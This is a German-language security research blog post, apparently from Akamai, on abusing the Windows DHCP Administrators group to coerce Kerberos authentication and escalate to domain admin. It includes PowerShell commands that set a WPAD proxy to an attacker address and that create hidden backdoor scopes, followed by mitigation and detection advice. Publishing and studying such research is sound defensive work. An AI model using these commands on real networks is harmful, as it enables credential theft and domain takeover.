Missbrauch der DHCP-Administratorgruppe zur Eskalation von Berechtigungen in Windows-Domains
Redaktion und weitere Kommentare von Tricia Howard
Zusammenfassung
Forscher von Akamai haben eine neue Technik zur Eskalation von Berechtigungen entdeckt, die sich auf AD-Umgebungen (Active Directory) auswirkt und die DHCP-Administratorgruppe ausnutzt.
In Fällen, in denen die DHCP-Serverrolle auf einem Domaincontroller (DC) installiert ist, können Angreifer auf diese Weise Domainadministratorrechte erhalten.
Die Technik basiert auf dem Missbrauch legitimer Funktionen und ist nicht auf Schwachstellen angewiesen. Daher gibt es auch keine Lösung dafür.
Neben der Bereitstellung eines Primitivs für die Eskalation von Berechtigungen könnte dieselbe Technik auch verwendet werden, um einen geheimen Domain-Persistenzmechanismus zu erstellen.
Der Microsoft DHCP-Server ist sehr beliebt. Er wurde in 40 % der von Akamai überwachten Netzwerke ausgeführt. Jede Umgebung, in der dieser Server ausgeführt wird, kann anfällig sein.
Wir bieten detaillierte Schritte, mit denen Sie das Risiko dieser Technik drastisch reduzieren, die potenzielle Ausnutzung der Technik identifizieren und die Konfiguration erkennen können, die diese Technik ermöglicht.
Einführung
Von Google Docs bis Active Directory wirkt sich die Zugriffsverwaltung auf fast jede Rolle in Unternehmen aus. Die Minimierung von Mitarbeiterfrust, ohne hierdurch unnötige Risiken zu schaffen, erfordert ein heikles Gleichgewicht von Berechtigungen und Zugriffskontrollen – ein Umstand, der Sicherheitsteams schmerzlich bewusst ist.
Die optimale Balance, also „gerade genug Zugriff“, ist ein wichtiges Element jeder Zugriffsstrategie. Im Grunde heißt das: Jedem Nutzer sollten die Berechtigungen gewährt werden, die zur Erfüllung seiner Aufgaben erforderlich sind, während die Berechtigungen in jedem anderen Aspekt so begrenzt wie möglich sein sollten. Dies kann die Auswirkungen einer Kompromittierung einzelner Nutzer verringern, indem laterale Netzwerkbewegungen und zusätzliche Exploits verhindert werden.
Hierdurch wird das Risiko zwar größtenteils beseitigt, doch die Zugriffsverwaltung in Abhängigkeit einzelner Identitäten ist weder realistisch noch praktikabel, insbesondere in großen Unternehmen. Stattdessen bieten Nutzerzugriffsgruppen allgemeine Berechtigungen, die auf der Jobfunktion basieren – ein Konzept, das in AD am häufigsten zum Einsatz kommt. Microsoft stellt beispielsweise die Gruppe „DNS-Administratoren“ bereit, eine AD-Gruppe, die für die Verwaltung von DNS-Servern zuständig ist. Gemäß dem Prinzip „Gerade genug Zugriff“ verfügen die Mitglieder nicht über Berechtigungen für die Maschine, die den DNS-Server hostet, sondern nur für die Konfiguration des DNS-Services.
Zwar funktioniert das alles in der Theorie, doch in der Praxis sieht das anders aus: In einer 2017 durchgeführten Studie demonstrierte Shay Ber, wie Mitglieder der Gruppe „DNS-Administratoren“ eine der Gruppenberechtigungen missbrauchen könnten, um Code auf DNS-Servern auszuführen. Und das führte fast immer zu einer Eskalation der Berechtigungen auf „Domainadministrator“.
Microsoft DHCP stellt eine ähnliche Sicherheitsgruppe namens „DHCP-Administratoren“ bereit. Während unserer jüngsten Forschung zu Microsoft DHCP kam die Frage auf, ob sich hier ähnliche Primitive finden ließen: Kann ein DHCP-Administrator ein Domainadministrator werden? Wie sich herausstellt, ist das durchaus möglich.
In diesem Blogbeitrag werden wir die DHCP-Administratorgruppe behandeln und zeigen, wie eine ihrer Berechtigungen missbraucht werden könnte, um DHCP-Server zu gefährden, einschließlich einer vollständigen Domainübernahme in Fällen, in denen der DHCP-Server auf einem DC installiert ist.
Wir werden auch zeigen, wie diese Technik verwendet werden kann, um einen interessanten Mechanismus für die Domainpersistenz einzurichten, und stellen außerdem Details zur Implementierung einer „DHCP-Backdoor“ bereit.
Da bei dieser Technik legitime Berechtigungen und Optionen verwendet werden, die DHCP-Administratoren zur Verfügung stehen, gibt es keine einfache Lösung wie einen Patch – schließlich besteht keine Schwachstelle. Um das Risiko dieser Technik zu reduzieren, haben wir in diesen Blogbeitrag detaillierte Schritte zur Risikominderung und Erkennung aufgenommen.
Was sind DHCP-Administratoren?
Die Gruppe DHCP-Administratoren ist eine AD-Gruppe von Nutzern, die DHCP-Server (Dynamic Host Configuration Protocol) verwalten sollen. Sie ermöglicht es ihren Mitgliedern, die Konfiguration des DHCP-Services auf Remoteservern abzufragen und zu ändern.
Wichtig ist hierbei: Ihre Mitglieder haben keine Berechtigungen für den DHCP-Server selbst, sondern nur für die DHCP-Servicekonfiguration. Das heißt, dass ein DHCP-Administrator nicht in der Lage sein sollte, Code auf einem DHCP-Server auszuführen, sondern nur DHCP-bezogene Konfigurationen zu ändern. Eine der Konfigurationen, die von DHCP-Administratoren gesteuert wird, sind DHCP-Optionen.
Missbrauch von DHCP-Optionen
Netzwerk-Clients benötigen eine Reihe von Konfigurationen, um an einem Netzwerk teilnehmen zu können, einschließlich einer IP-Adresse und einer Subnetzmaske, einer Standard-Gateway-Adresse und einem DNS-Server, um nur einige zu nennen. DHCP-Server stellen Clients diese Konfigurationen in Form von DHCP-Optionen bereit. Verschiedene Konfigurationen werden mit einer definierten Options-ID gekoppelt und von Clients abgefragt (Abbildung 1).
Abb. 1: Beispiele für DHCP-Optionen, die auf einem DHCP-Server konfiguriert sind
DHCP-Clients fordern die erforderlichen Optionen an und ändern ihre Netzwerkkonfiguration entsprechend den Antworten. Da die Werte dieser Optionen auf dem Server gesteuert werden können, kann jede von einem Client angeforderte Option potenziell von einem Angreifer missbraucht werden, um schädliche Konfigurationen einzuschleusen.
Um die potenzielle Angriffsfläche auf Windows-Clients zu verstehen, können wir die Optionen untersuchen, die standardmäßig angefordert werden (Abbildung 2).
Abb. 2: DHCP-Optionen, die auf einem DHCP-Server konfiguriert sind
Automatische Proxyerkennung
Wie wir sehen, ist eine der angeforderten Konfigurationen die „Proxy autodiscovery“ (in Abbildung 2 blau hervorgehoben), mit der automatisch ein Webproxy (WPAD) konfiguriert wird. Mit dieser Option kann ein DHCP-Server die URL der Datei „wpad.dat“ angeben, die die vom Client zu verwendenden Proxyeinstellungen enthält.
Wir können diese Option konfigurieren und unsere Adresse als Proxy angeben, indem wir die folgenden PowerShell-Befehle ausführen:
Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0
Nachdem Sie diese Option festgelegt haben, sehen Sie, dass Windows-Clients unsere Konfiguration erhalten, wenn Sie eine Adresse vom DHCP-Server leasen (Abbildung 3).
Abb. 3: DHCP-Client, der die Proxykonfiguration vom Server empfängt
Nach Erhalt dieser Konfiguration stellt der DHCP-Client über HTTP eine Verbindung zu unserem Rechner her und versucht, die Datei „wpad.dat“ abzurufen (Abbildung 4).
Abb. 4: DHCP-Client fordert die Datei „wpad.dat“ vom Computer des Angreifers an
Die Fähigkeit, sich als WPAD-Server auszugeben, ermöglicht verschiedene Angriffe, die dazu führen können, dass die Anmeldedaten des Clients offengelegt werden.
Es gibt andere DHCP-Optionen, die wir nutzen können, um ein ähnliches Ergebnis zu erzielen. Diese Fähigkeit ist sicherlich gewollt und stellt kein wirkliches Sicherheitsproblem dar. DHCP-Administratoren können DHCP verwalten. Doch diese Möglichkeit kann schwere Folgen haben.
DHCP-DNS-Server-Option
Bei der Analyse der verschiedenen DHCP-Optionen, die missbraucht werden könnten, erregte eine noch unsere Aufmerksamkeit: die Option DNS-Server . Ähnlich wie beim vorherigen Angriff kann ein DHCP-Administrator die DNS-Serveradresse und -Antworten fälschen, um eine MITM-Position (Machine-in-the-Middle) zu erreichen. Aber wie sich herausstellt, kann diese Option noch mehr.
Normalerweise werden DHCP-Optionen verwendet, um Daten den anfordernden Clients bereitzustellen. Interessanterweise dient die DNS-Server-Option einem anderen Zweck: Ihr Wert wird als Ziel für DHCP DNS Dynamic Updates verwendet (Abbildung 5).
Abb. 5: Auswirkung der DNS-Server-Option auf den DHCP DNS Dynamic Update-Prozess
Warum ist das interessant? Microsoft-DNS-Server und Windows-DNS-Clients unterstützen eine Funktion von Dynamic Updates namens Secure Dynamic Updates. Wenn diese Funktion aktiviert ist (was standardmäßig der Fall ist), müssen sich DNS-Clients authentifizieren, bevor DNS-Aktualisierungen auf dem Server durchgeführt werden. Diese Authentifizierung erfolgt mithilfe von Kerberos über DNS.
Mit einem DHCP-Administratorkonto können wir die DNS-Server-Option auf dem DHCP-Server steuern und dafür sorgen, dass er sich bei einer Adresse unserer Wahl authentifiziert. Die Schritte in Abbildung 6 zeigen, wie dies erreicht wird.
Abb. 6: DHCP-Lease führt dazu, dass sich der Server über Kerberos beim Client authentifiziert
Auf dem Ziel-DHCP-Server konfigurieren wir unsere IP-Adresse (172.25.14.19) als DNS-Server-Option.
Von unserem Computer aus leasen wir eine IP-Adresse, während wir die FQDN-Option angeben. In diesem Beispiel geben wir den FQDN „aaa.aka.test“ an. Hierdurch wird ein DHCP DNS Dynamic Update ausgelöst.
Der DHCP-Server sendet eine DNS-SOA-Abfrage (Start of Authority) an unseren Computer (in dem Glauben, dass es sich um den DNS-Server handelt). Diese Abfrage wird vom DHCP-Server verwendet, um zu prüfen, welcher DNS-Server für „aaa.aka.test“ autoritativ ist.
Wir antworten auf die SOA-Abfrage und geben unseren Rechner als autoritativen DNS-Server für den Datensatz „aaa.aka.test“ an.
Der DHCP-Server versucht, den Datensatz zu erstellen, indem er ein DNS Dynamic Updates an unseren Computer sendet. Dieser Aktualisierungsversuch ist nicht authentifiziert.
Wir lehnen das nicht authentifizierte Update ab, um einen Authentifizierungsversuch durch den Server auszulösen.
Der DHCP-Server authentifiziert sich bei unserem Computer mithilfe der Kerberos-Authentifizierung über DNS, die durch Senden einer TKEY-Abfrage implementiert wird.
Abbildung 7 zeigt, wie diese Technik in der Praxis aussehen kann.
Abb. 7: Paketerfassung des DHCP-Lease und des nachfolgenden DNS-Traffics
Diese Technik, die wir DHCP Coerce (DHCP-Erzwingung) genannt haben, gewährt uns ein Kerberos-Authentifizierungs-Erzwingungsprimitiv, da wir jeden DHCP-Server dazu bringen können, sich bei unserer Maschine zu authentifizieren.
Haben Sie Fragen zur DHCP-Sicherheit?
DHCP Coerce zu Kerberos-Relay
DHCP Coerce ermöglicht einen Kerberos-Relay -Angriff – wir können die Authentifizierung auf unseren Computer erzwingen und dann einen Relay-Angriff durchführen, der uns die Nachahmung des DHCP-Server-Maschinenkontos ermöglicht. Dies würde die vollständige Kontrolle über den Server selbst ermöglichen – statt der eingeschränkteren Berechtigungen, die in der DHCP-Administratorgruppe enthalten sind.
Kerberos-Relay-Ziele sind etwas eingeschränkt, aber wir haben immer noch eine gute Option: Wie in einem Blogbeitrag von Dirk Jan beschrieben wurde, kann das Kerberos-Relay verwendet werden, um Active Directory Certificate Services (AD CS) anzugreifen.
AD CS sind eine Reihe von Services, die eine PKI-Lösung für Active-Directory-Umgebungen bereitstellen. Im Kontext von AD besteht die Hauptverwendung dieser PKI darin, die zertifikatbasierte Authentifizierung zu aktivieren. Mit AD CS können Nutzer Zertifikate für sich selbst ausstellen und diese zur Authentifizierung bei Ressourcen in der Domain verwenden.
Eine der Möglichkeiten, diese Zertifikate auszustellen, ist der Web Enrollment Service – ein Webservice, der von Clients zum Anfordern von Zertifikaten verwendet werden kann. Standardmäßig ist dieser Service anfällig für Kerberos-Relay-Angriffe, da er die Nachrichtenintegrität nicht überprüft. Dieses Problem wird als ESC8 beschrieben (in der AD-CS-Forschung von Will Schroeder und Lee Christensen von SpecterOps).
Durch die Kombination unseres Erzwingungsprimitivs mit ESC8 können wir eine Angriffskette erstellen (Abbildung 8), die es uns ermöglicht, den DHCP-Server zu kompromittieren.
Abb. 8: DHCP erzwingt eine vollständige Angriffskette.
Über einen DHCP-Administrator wird die Kerberos-Authentifizierung bei unserer Maschine erzwungen, wie im vorherigen Abschnitt beschrieben.
Es wird Krbrelayx.py verwendet, um die Authentifizierung an AD CS weiterzuleiten und ein Zertifikat für das DHCP-Server-Maschinenkonto abzurufen.
Das Zertifikat wird verwendet, um den NTLM-Hash des DHCP-Server-Maschinenkontos zu erhalten, eine Technik, die in der Forschung von SpecterOps als THEFT5 beschrieben wird.
Der NTLM-Hash wird verwendet, um sich als DHCP-Serverkonto zu authentifizieren und Code auszuführen.
Weitere Informationen zu den Schritten 2–4 finden Sie im Blogbeitrag zur Kerberos-Weiterleitung über DNS mit krbrelayx und mitm6 von Dirk Jan.
Hier eine Zusammenfassung: Wenn AD CS in der Umgebung verwendet wird, kann ein DHCP-Administratorkonto Code auf jedem DHCP-Server ausführen – ein echter Albtraum.
DHCP-Server werden sehr oft auf DCs installiert – von den von uns beobachteten Netzwerken, die Microsoft-DHCP-Server verwenden, haben 57 % einen DHCP-Server auf einem DC installiert. In diesen Fällen kann ein DHCP-Administrator die gesamte Domain gefährden, indem das DC-Maschinenkonto übernommen wird.
Ein Hinweis zu DNS-Anmeldedaten
Der oben beschriebene Angriff beruht darauf, dass sich der DHCP-Server bei der Durchführung von DNS-Aktualisierungen mit seinem eigenen Maschinenkonto authentifiziert. Eine der von Microsoft empfohlenen Best Practices besteht darin, einen schwachen Nutzer für die DNS-Anmeldung beim DHCP-Server zu konfigurieren – also alternative Anmeldedaten, die anstelle des Maschinenkontos verwendet werden, wenn Aktualisierungen durchgeführt werden.
Diese Konfiguration könnte unseren Relay-Angriff zunichtemachen. Anstatt das Maschinenkonto des Servers zu kompromittieren, erhalten wir die Berechtigungen eines schwachen Nutzers.
Doch glücklicherweise sind wir ja DHCP-Administratoren! Ein DHCP-Administrator kann vorhandene DNS-Anmeldedaten entfernen, ohne sie selbst kennen zu müssen. Hierfür kann der PowerShell-Befehl Remove-DhcpServerDnsCredential verwendet werden. Nach dem Entfernen der DNS-Anmeldedaten wird der DHCP-Server auf die Standardeinstellungen zurückgesetzt und verwendet wieder sein Maschinenkonto, um Aktualisierungen durchzuführen.
DHCP-Domainpersistenz
Neben dem Missbrauch der DHCP-Administratorgruppe zur Ausführung von Code auf DHCP-Servern könnte die eben beschriebene Technik auch dafür eingesetzt werden, einen interessanten Mechanismus für Domainpersistenz einzurichten.
Sobald die DNS-Server-Option konfiguriert ist, sind keine Anmeldedaten erforderlich, um die Authentifizierung zu erzwingen. Ein Angreifer muss nur eine IP-Adresse vom DHCP-Server leasen. So kann er einen DHCP-Zwangsangriff von außerhalb der Domain durchführen, ohne hierfür Anmeldedaten zu benötigen.
DHCP-Backdoor-Bereich
Ein DHCP-Bereich ist ein definierter Satz von IP-Adressen in einem bestimmten Subnetz, den DHCP leasen kann. DHCP-Optionen können pro Bereich konfiguriert werden, sodass verschiedene Konfigurationen für verschiedene Subnetze möglich sind.
Um einen DHCP Coerce auszuführen, müssen wir die DNS-Server-Option bei einem der DHCP-Bereiche ändern. Natürlich möchten wir dafür keinen vorhandenen Bereich verwenden. Denn wenn wir die DNS-Server-Option eines vorhandenen Bereichs ändern, wird diese Konfiguration an DHCP-Clients weitergegeben. Das verursacht Kommunikationsprobleme und führt möglicherweise zur Erkennung unserer Backdoor.
Stattdessen möchten wir einen dedizierten Bereich mit einem Adressbereich erstellen, der in keinem Subnetz des Netzwerks verwendet wird (Abbildung 9).
Abb. 9: Erstellen des DHCP-Bereichs „Backdoor“
Aber es gibt ein Problem mit diesem Ansatz, der auf der Logik der DHCP-Server-Bereichsauswahl basiert: Wenn ein Client eine IP-Adresse least, bestimmt der Server den zu verwendenden DHCP-Bereich basierend auf dem Quellsubnetz des Clients. Dieses Subnetz wird von der Netzwerkschnittstelle identifiziert, die die DHCP-Discover-Meldung empfangen hat (Abbildung 10).
Abb. 10: DHCP-Bereichsauswahl basierend auf der Netzwerkschnittstelle
Um die Backdoor auszulösen, müssen wir eine IP-Adresse aus unserem schädlichen Bereich leasen. Dazu müssen wir uns in einem Subnetz befinden, das mit diesem Bereich verknüpft ist. Gleichzeitig möchten wir, dass unser Bereich nicht mit einem vorhandenen Subnetz im Netzwerk verknüpft wird, um eine Unterbrechung der Client-Konnektivität zu vermeiden. Diese beiden Anforderungen stehen jedoch im Widerspruch zueinander: Wenn ein Bereich nicht mit einem vorhandenen Subnetz verknüpft ist, können wir ihn auch nicht erreichen. Und wenn er verknüpft ist, können auch andere Kunden ihn erreichen. Doch hier kommt der DHCP Relay Agent ins Spiel.
DHCP Relay Agent
Eine Lösung für dieses Problem ist die DHCP-Relay-Agent-Funktion. Ein DHCP Relay Agent ist ein Server, der es Clients ermöglichen soll, IP-Adressen von einem DHCP-Server zu leasen, selbst wenn diese nicht in ihrem lokalen Netzwerk vorhanden sind (Abbildung 11).
Abb. 11: DHCP-Lease-Prozess mit einem Relay Agent
Der Relay Agent hört DHCP-Broadcast-Nachrichten von Clients ab und leitet sie im Namen der Clients an den DHCP-Server weiter. Der DHCP Relay Agent informiert den DHCP-Server mittels der DHCP-Option Relay Agent Information über das Quellsubnetz des Clients. So kann der Server beim Leasing einer IP-Adresse den richtigen Bereich bestimmen.
Wir haben festgestellt, dass diese Funktion es DHCP Relay Agents ermöglicht, unabhängig von der Schnittstelle auf dem DHCP-Server eine IP-Adresse aus jedem Bereich anzufordern. Ein Angreifer kann als Relay Agent fungieren und in der Option „Relay Agent Information“ ein beliebiges Subnetz angeben, sodass er eine IP-Adresse aus jedem Bereich leasen kann (Abbildung 12).
Abb. 12: Leasing einer IP-Adresse aus einem angegebenen Bereich, indem der Angreifer als DHCP Relay Agent fungiert
Es gibt noch einen letzten Punkt zu beachten: Die IP-Adresse des Relay-Servers selbst muss Teil eines vorhandenen Bereichs auf dem Server sein. Das soll verhindern, dass nicht autorisierte Clients auf den Server zugreifen. Um dieses Problem zu beheben, können wir der Empfehlung von Microsoft folgen: Wir erstellen einen speziellen Bereich, der unsere externe IP-Adresse umfasst, und „autorisieren“ ihn unrechtmäßig dazu, als Relay zu fungieren.
Missbrauch der DHCP-Relay-Agent-Option
Eine potenzielle Backdoor (Abbildung 13) besteht aus zwei Bereichen:
Autorisierungsbereich: Ein Bereich, der unseren Angreifer autorisieren soll, als DHCP Relay Agent zu fungieren. Der IP-Bereich umfasst die IP-Adresse unseres externen Angreifergeräts.
- Erzwingungsbereich: Ein Bereich, der verwendet wird, um eine IP-Adresse zu leasen, wodurch ein Kerberos-Authentifizierungsversuch für unseren Angreifer ausgelöst wird. Die DNS-Server-Option wird mit der IP-Adresse unseres externen Angreifergeräts konfiguriert und ihr IP-Bereich kann ein beliebiger Bereich sein, der nicht im Netzwerk verwendet wird.
Abb. 13: DHCP-Backdoor-Design
Der folgende PowerShell-Code zeigt, wie diese Bereiche erstellt werden können:
Import-Module DhcpServer
Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>
Um die Backdoor auszulösen, leasen wir eine Adresse vom DHCP-Server mit den folgenden Anpassungen:
Wir verwenden unsere IP-Adresse im DHCP-Feld für die Relay-Agent-IP-Adresse (giaddr). Dieses Feld wird verwendet, um den DHCP-Server über die Relay-Agent-IP-Adresse zu informieren. Diese IP muss innerhalb des „Autorisierungsbereichs“ liegen.
Wir geben auch die Option „Relay Agent Information“ an, mit einer IP-Adresse innerhalb des „Erzwingungsbereichs“.
In Abbildung 14 umfasst unser Autorisierungsbereich die IP-Adresse 172.25.14.18 und unser Erzwingungsbereich umfasst die Adresse 66.66.66.66.
Abb. 14: DHCP-Discover-Anpassungen, wenn der Angreifer als Relay Agent fungiert
Wir haben Relay-Agent-Unterstützung zu DDSpoof hinzugefügt, unserem DHCP-DNS-Spoofing-Toolkit, und ein Proof-of-Concept-Skript mit dem Namen dhcp_coerce.py erstellt, das die Durchführung dieses Angriffs ermöglicht. Das Skript fungiert als DHCP Relay Agent und fordert eine IP-Adresse aus unserem angeforderten Bereich an, sodass wir über unseren Erzwingungsbereich einen Authentifizierungszwang auslösen können (Abbildung 15).
Abb. 15: Einsatz von DDSpoof zum Auslösen der DHCP-Backdoor
Abwehrmaßnahmen
Zu den Abwehrmaßnahmen gegen diese Bedrohung gehören:
Identifizierung riskanter DHCP-Konfigurationen
Abwehr von Relay-Angriffen auf AD CS
Sensibilisierung von DHCP-Administratoren in Gruppen-Cyberhygiene
Einsatz von Segmentierung, um die Angriffsfläche zu reduzieren
Identifizierung von DNS-Anomalien
Identifizierung riskanter DHCP-Konfigurationen
Invoke-DHCPCheckup.ps1 kann Sie dabei unterstützen, riskante DHCP-Konfigurationen zu identifizieren. Das größte Risiko im Kontext der DHCP-Angriffskette ist die Installation eines DHCP-Servers auf einem DC – eine Konfiguration, die Sie vermeiden sollten.
Führen Sie Invoke-DHCPCheckup aus, um alle aktiven Microsoft-DHCP-Server aufzulisten und alle auf DCs installierten Server zu identifizieren (Abbildung 16). Deaktivieren Sie nach Möglichkeit den DHCP-Serverdienst auf allen DCs.
Abb. 16: Identifizieren eines DHCP-Servers, der auf einem DC installiert ist, mithilfe von Invoke-DHCPCheckup
Abwehr von Relay-Angriffen auf AD CS
Die effektivste Möglichkeit, diese Angriffskette zu verhindern, besteht darin, Relay-Angriffe auf AD-CS-Server abzuwehren. So wird verhindert, dass das Authentifizierungs-Erzwingungsprimitiv missbraucht wird.
Das Risiko von Relay-Angriffen und die Variante für AD CS sind nicht neu, sondern Microsoft bekannt. Erweiterter Schutz für die Authentifizierung (EPA) ist eine Funktion, die eingeführt wurde, um solche Angriffe zu verhindern. Sie ist jedoch nicht standardmäßig für AD CS aktiviert. Um das Risiko von Angriffen auf AD CS zu minimieren, deaktivieren Sie HTTP und aktivieren Sie die EPA-Funktion auf allen AD-CS-Servern.
Sensibilisierung von DHCP-Administratoren in Gruppen-Cyberhygiene
Mitglieder der DHCP-Administratorgruppe können möglicherweise DHCP-Clients und -Server gefährden. Daher sollte diese Gruppe als hochwertiges Asset behandelt und entsprechend überwacht werden. Beschränken Sie die Mitgliedschaft der DHCP-Administratorgruppe so weit wie möglich, um das Risiko durch Administratornutzer zu verringern. Ziehen Sie in entsprechenden Fällen die Verwendung der eingeschränkteren DHCP-Nutzergruppe in Betracht.
Einsatz von Segmentierung, um die Angriffsfläche zu reduzieren
Zusätzlich zu den vorherigen Abwehrmaßnahmen können Sie Netzwerksegmentierung nutzen, um den Angriff abzuwehren und die Angriffsfläche zu reduzieren. So können Sie auch potenziell ähnliche Angriffe verhindern.
Mit Akamai Guardicore Segmentation können Sicherheitsteams:
Den RPC-Traffic zu DHCP-Servern blockieren, der von Nicht-Administrator-Endpunkten eingeht, um zu verhindern, dass DHCP-Optionen geändert werden können: Erstellen Sie eine Bezeichnung, die die Endpunkte enthält, die von DHCP-Administratoren verwendet werden, und erlauben Sie dann nur Endpunkten mit dieser Bezeichnung, mit über Nicht-DHCP-Ports DHCP-Servern zu kommunizieren.
Zugriff auf AD-CS-Registrierungsserver für Endpoints blockieren, die ihn nicht benötigen, wodurch die Möglichkeit von Relay-Angriffen eingeschränkt wird: Erstellen Sie eine Bezeichnung, die Endpunkte enthält, für die Zertifikate mit AD CS ausgestellt werden müssen, und erlauben Sie dann nur Endpunkten mit dieser Bezeichnung, mit den Web-Registrierungsservern zu kommunizieren.
DHCP-Traffic vom und zum Internet blockieren, damit externe Maschinen keine DHCP-Authentifizierung erzwingen können: Erstellen Sie eine Bezeichnung für alle DHCP-Server und blockieren Sie dann die gesamte Kommunikation mit Internetadressen.
Identifizierung von DNS-Anomalien
Der Angriff beruht darauf, dass der DHCP-Server eine DNS-Aktualisierungsanfrage an eine Adresse sendet, die sich von dem Standard-AD-DNS-Server unterscheidet. Diese Art von Traffic ist normalerweise statischer Natur, daher ist dieses Verhalten sehr ungewöhnlich. Dieses anomale Trafficverhalten kann als Indikator für diesen Angriff oder jeden anderen Angriff dienen, der die Kerberos-Authentifizierung über DNS missbraucht.
Um solche Anomalien zu identifizieren, erstellen Sie eine Liste der legitimen DNS-Server, die DNS-Updates erhalten sollten – entweder durch AD-Abfragen oder durch Überwachung des DNS-Traffics. Diese Liste sollte relativ kurz sein und als Grundlage für legitimen Traffic dienen. Jede Abweichung von dieser Liste sollte untersucht werden, insbesondere wenn es sich um Internetadressen handelt.
Akamai Hunt, der Managed Threat Hunting Service von Akamai, bietet seinen Kunden Schutz in Form einer Vielzahl von Techniken zur Erkennung von Anomalien, die die Umgebung ständig überwachen und versuchen, Ungewöhnliches zu erkennen.
Fazit
Die böswillige Eskalation von Berechtigungen kann katastrophale Folgen haben, insbesondere wenn hierfür legitime Prozesse genutzt werden. Die richtige Balance zwischen starken Sicherheitskontrollen und minimalen Unannehmlichkeiten für Nutzer zu finden, stellt für moderne Sicherheitsexperten ein großes Problem dar. Mit der Einführung des Internets der Dinge, einer verteilten mobilen Belegschaft und dem ständigen Ansturm neuer und alter Exploits war es nie wichtiger, Ihre Zugriffsstrategie unter Kontrolle zu kriegen.
Die DHCP-Administratorgruppe ist ein eindrucksvolles Beispiel für dieses Konzept. Sie stellt seinen Mitgliedern starke Berechtigungen zur Verfügung, aber diese Berechtigungen können auch von Angreifern missbraucht werden. Insbesondere im Sicherheitsbereich können selbst die wohlgemeintesten Funktionen missbraucht werden.
Verteidiger sollten sich dieses potenziellen Risikos bewusst sein und diese Gruppe mit der entsprechenden Vorsicht behandeln. Wir hoffen, dass Sie in diesem Beitrag nützliche Informationen zu Kontext und Abwehrmaßnahmen gegen diese Bedrohung erhalten haben.
Weitere Informationen
Weitere Informationen zu Risiken im Zusammenhang mit Microsoft DHCP finden Sie in unseren anderen Blogbeiträgen zum Thema:
Spoofing von DNS-Datensätzen durch Exploit bei dynamischen Updates von DHCP DNS
DHCP-DNS-Spoofing gezielt einsetzen – ein praktischer Leitfaden
Die Akamai Security Intelligence Group wird diese und andere Bedrohungen weiterhin überwachen und ihre Ergebnisse veröffentlichen. Um über DHCP und unsere übrige Sicherheitsforschung auf dem Laufenden zu bleiben, folgen Sie uns auf X (ehemals Twitter).
